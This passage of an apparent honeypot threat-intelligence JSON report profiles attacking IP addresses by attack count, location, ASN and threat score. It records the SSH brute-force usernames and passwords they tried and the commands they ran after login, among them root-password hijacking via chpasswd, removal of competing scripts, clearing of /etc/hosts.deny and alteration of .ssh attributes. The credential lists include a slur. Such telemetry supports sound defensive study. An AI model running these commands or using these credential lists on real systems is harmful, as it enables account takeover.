        "!@34QWer",
        "!Q2w3e4r",
        "000000",
        "1234",
        "123456!!",
        "1234567",
        "12345678",
        "1234567890",
        "1234rfv",
        "1qaz2wsx",
        "20192019",
        "228228",
        "3edc4rfv",
        "456",
        "666"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1234rfv\\noZYOYl9bEAP5\\noZYOYl9bEAP5\\n\"|passwd",
        "echo \"root:OijQcuZCEiQ8\"|chpasswd|bash",
        "echo \"root:PeuIL5sh2e2N\"|chpasswd|bash",
        "echo \"root:lL4UZuQcM0A1\"|chpasswd|bash",
        "echo -e \"1234rfv\\noZYOYl9bEAP5\\noZYOYl9bEAP5\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Mymensingh",
      "asn": 153523,
      "as_org": "Ummah Host",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.2,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 666,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T00:46:41.705000+00:00",
        "last_seen_30d": "2026-05-16T10:44:25.408000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 533,
        "Suricata": 133
      }
    },
    "27.79.5.123": {
      "attack_count": 452,
      "first_seen": "2026-05-12T15:58:41.827Z",
      "last_seen": "2026-05-12T16:35:44.773Z",
      "sessions": 90,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "monitor",
        "test",
        "user",
        "*****",
        "ace",
        "admian",
        "anton",
        "ashish",
        "auto",
        "backup",
        "belkinstyle",
        "brenda",
        "carol",
        "cisco",
        "developer",
        "dubai",
        "ftp",
        "geral"
      ],
      "passwords_attempted": [
        "admin",
        "123456",
        "1234",
        "12345",
        "P@ssw0rd",
        "admin123",
        "*****",
        "0987654321",
        "0l0ctyQh243O63uD",
        "111111",
        "123",
        "12345678",
        "1234567890%*()",
        "72ca06",
        "91482d",
        "OkwKcECs8qJP2Z",
        "abcd1234",
        "ace",
        "admin01",
        "admin@123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 643,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T15:58:41.827000+00:00",
        "last_seen_30d": "2026-05-12T16:36:48.279000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 452,
        "Suricata": 191
      }
    },
    "27.79.6.36": {
      "attack_count": 402,
      "first_seen": "2026-05-09T19:22:30.209Z",
      "last_seen": "2026-05-09T19:48:38.566Z",
      "sessions": 80,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "user",
        "ftp",
        "1234",
        "admian",
        "anton",
        "ashish",
        "auto",
        "belkinstyle",
        "brenda",
        "config",
        "cpanel",
        "db2inst2",
        "geral",
        "guest",
        "install",
        "jay",
        "joro"
      ],
      "passwords_attempted": [
        "admin",
        "1234",
        "12345",
        "abc123",
        "password",
        "039715582364317",
        "1",
        "1111",
        "112233",
        "123456",
        "72b1bd75ac87852a",
        "72ca06",
        "@",
        "abcdefg",
        "admin01",
        "admin1",
        "admin123",
        "admin@123",
        "administrator",
        "aerohive"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.7,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 591,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T19:22:30.209000+00:00",
        "last_seen_30d": "2026-05-09T19:49:45.436000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 402,
        "Suricata": 189
      }
    },
    "152.32.162.42": {
      "attack_count": 280,
      "first_seen": "2026-05-31T00:50:06.512Z",
      "last_seen": "2026-05-31T01:14:32.547Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "user1",
        "admin",
        "admin1",
        "appuser",
        "info",
        "root/1234567",
        "system",
        "user01",
        "ww"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "102030",
        "12345",
        "12345678Qq",
        "12wertyui",
        "20252025",
        "P@ssw0rd@2024",
        "Password!",
        "USER1",
        "admin123!",
        "admin@123",
        "appuser2025",
        "info@123",
        "user01",
        "ww"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"USER1\\na2q0O1KIwEud\\na2q0O1KIwEud\\n\"|passwd",
        "echo \"root:Zc7A6w6eOSVY\"|chpasswd|bash",
        "echo \"root:uQOOMC4ROEnZ\"|chpasswd|bash",
        "echo -e \"USER1\\na2q0O1KIwEud\\na2q0O1KIwEud\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 38.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 327,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T00:50:06.512000+00:00",
        "last_seen_30d": "2026-05-31T01:15:42.139000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 280,
        "Suricata": 47
      }
    },
    "170.106.191.31": {
      "attack_count": 251,
      "first_seen": "2026-05-17T06:18:08.768Z",
      "last_seen": "2026-05-17T06:47:59.259Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "andreas",
        "gino",
        "hari",
        "nexus",
        "runner",
        "super",
        "support",
        "trader",
        "ubuntu",
        "useradmin",
        "vsftp",
        "webmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0708228AsBs!",
        "123",
        "123456",
        "123ASDasd",
        "20192019",
        "202620",
        "ItsemoemoWashere2024support",
        "QWE!@#qwe123",
        "Qazxsw123",
        "Qq123456789",
        "abc_123",
        "andreas",
        "hari123",
        "master",
        "nexus!123",
        "password",
        "qwe147258",
        "qwer123..."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:I37CDEVNagLN\"|chpasswd|bash",
        "echo \"root:RDLc9IC94v8e\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 311,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T06:18:08.768000+00:00",
        "last_seen_30d": "2026-05-17T06:49:03.205000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 251,
        "Suricata": 60
      }
    },
    "185.203.236.212": {
      "attack_count": 247,
      "first_seen": "2026-05-23T10:40:40.357Z",
      "last_seen": "2026-05-29T03:26:06.160Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "fivem",
        "admin",
        "appadmin",
        "aroot",
        "developer",
        "frappe",
        "geoserver",
        "mysql",
        "s",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123123",
        "123456!@#",
        "12345678@Abc",
        "1234@Abcd",
        "1qaz@WSX#EDC",
        "Admin123*",
        "L@y3rh0st2026",
        "Pass@word1",
        "Root@123",
        "admin",
        "appadmin",
        "aroot",
        "developer123",
        "fivem",
        "fjbdfdjkdsfs541544",
        "geoserver",
        "helloworld",
        "manoj"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"fivem\\n2qgWiuQ98AuJ\\n2qgWiuQ98AuJ\\n\"|passwd",
        "echo \"root:8kUdxep7LayF\"|chpasswd|bash",
        "echo -e \"fivem\\n2qgWiuQ98AuJ\\n2qgWiuQ98AuJ\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 39.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.9,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 309,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T10:40:40.357000+00:00",
        "last_seen_30d": "2026-05-29T03:27:07.970000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 247,
        "Suricata": 62
      }
    },
    "41.60.247.82": {
      "attack_count": 236,
      "first_seen": "2026-05-20T18:23:10.496Z",
      "last_seen": "2026-05-21T06:29:57.129Z",
      "sessions": 118,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Zambia",
      "country_code": "ZM",
      "city": "Lusaka",
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 26.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 354,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:23:10.496000+00:00",
        "last_seen_30d": "2026-05-21T06:30:58.846000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 118
      }
    },
    "103.214.112.253": {
      "attack_count": 218,
      "first_seen": "2026-05-30T01:45:22.455Z",
      "last_seen": "2026-05-30T19:52:42.404Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "abc",
        "admin",
        "ahmed",
        "ftpuser",
        "hdoop",
        "hieu",
        "lord",
        "oracle",
        "samba",
        "snq",
        "uno85c",
        "user"
      ],
      "passwords_attempted": [
        "!QA2ws3ed",
        "000",
        "112358",
        "1234",
        "1234!@#$qwerQWER",
        "12344321",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa@1234567890",
        "Apple@123",
        "Ljy123456",
        "Nigger123",
        "P@$$w0rd",
        "Pa$$w0rd2024",
        "Root123123",
        "Root@4321",
        "Ubuntu18",
        "Yb123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:MzQC0Swl19xp\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 36.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 292,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T01:45:22.455000+00:00",
        "last_seen_30d": "2026-05-30T19:53:46.415000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 74
      }
    },
    "165.154.227.158": {
      "attack_count": 218,
      "first_seen": "2026-05-09T21:24:24.897Z",
      "last_seen": "2026-05-09T22:04:49.997Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "345gs5662d34",
        "elastic",
        "guest",
        "oracle"
      ],
      "passwords_attempted": [
        "12123",
        "123456qq!",
        "123qwe123qwe",
        "3245gs5662d34",
        "345gs5662d34",
        "@dmin@123",
        "Aa123123",
        "Adm@2024",
        "Admin12!@",
        "Asd@123321",
        "Cloud@2024",
        "Pa$$w0rd.2024",
        "Pi123456",
        "Qwerty12345!",
        "Root2018",
        "Ts123123",
        "abbas123",
        "accounts",
        "beijing@123",
        "changeme"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:RG5lfRi3ZsaU\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 142002,
      "as_org": "Scloud Pte Ltd",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 288,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T21:24:24.897000+00:00",
        "last_seen_30d": "2026-05-09T22:05:59.839000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 70
      }
    },
    "120.28.169.104": {
      "attack_count": 214,
      "first_seen": "2026-05-19T07:02:51.833Z",
      "last_seen": "2026-05-19T18:00:30.905Z",
      "sessions": 107,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Iloilo City",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 22.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 322,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T07:02:51.833000+00:00",
        "last_seen_30d": "2026-05-19T18:01:35.066000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 214,
        "Suricata": 108
      }
    },
    "192.140.30.17": {
      "attack_count": 200,
      "first_seen": "2026-05-20T18:27:41.999Z",
      "last_seen": "2026-05-21T06:23:43.768Z",
      "sessions": 100,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Posse",
      "asn": 266223,
      "as_org": "WALTER ELIAS VILLA",
      "threat_score": 25.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 300,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:27:41.999000+00:00",
        "last_seen_30d": "2026-05-21T06:24:46.631000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 200,
        "Suricata": 100
      }
    },
    "123.245.102.54": {
      "attack_count": 198,
      "first_seen": "2026-05-22T10:11:48.652Z",
      "last_seen": "2026-05-22T20:27:10.265Z",
      "sessions": 99,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 26.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 302,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:11:48.652000+00:00",
        "last_seen_30d": "2026-05-22T20:28:17.812000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 198,
        "Suricata": 104
      }
    },
    "13.90.206.6": {
      "attack_count": 186,
      "first_seen": "2026-05-31T07:36:25.553Z",
      "last_seen": "2026-05-31T07:56:02.539Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ansible",
        "dixi",
        "intell"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "09N1RCa1Hs31",
        "123",
        "A1q2w3e4r",
        "Aw123456",
        "Qwer@1234",
        "Server1214!",
        "ali123",
        "debian",
        "password",
        "zxcv1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:D50Whp448kV0\"|chpasswd|bash",
        "echo \"root:zvzIn6kMXXmS\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 36.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 218,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T07:36:25.553000+00:00",
        "last_seen_30d": "2026-05-31T07:57:04.754000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 186,
        "Suricata": 32
      }
    },
    "103.153.190.105": {
      "attack_count": 178,
      "first_seen": "2026-05-17T02:45:58.415Z",
      "last_seen": "2026-05-17T03:36:56.695Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "bot-user",
        "info",
        "intern",
        "jason",
        "ljsoft",
        "popo",
        "sonar",
        "system",
        "titu",
        "wang"
      ],
      "passwords_attempted": [
        "102030",
        "123",
        "123456",
        "20192019",
        "3245gs5662d34",
        "345gs5662d34",
        "@WSX3edc$RFV",
        "Aa147852",
        "Admin-123",
        "Ahgf3487@rtjhskl854hd47893@#a4nC",
        "Centos123",
        "P@ssw0rd2020",
        "Qaz123wsx",
        "Qwer12345678",
        "Smart@123",
        "intern",
        "jason123",
        "ljsoft",
        "popo",
        "redhat"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:NtiGiLM12HoO\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jember",
      "asn": 140469,
      "as_org": "PT Wahyu Adidaya Network",
      "threat_score": 19.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 234,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T02:45:58.415000+00:00",
        "last_seen_30d": "2026-05-17T03:38:05.206000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 178,
        "Suricata": 56
      }
    },
    "168.195.252.88": {
      "attack_count": 178,
      "first_seen": "2026-05-19T19:29:41.563Z",
      "last_seen": "2026-05-20T07:51:39.959Z",
      "sessions": 89,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Itacar\u00e9",
      "asn": 262373,
      "as_org": "CONECT TELECOM",
      "threat_score": 24.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 270,
        "days_active_30d": 2,
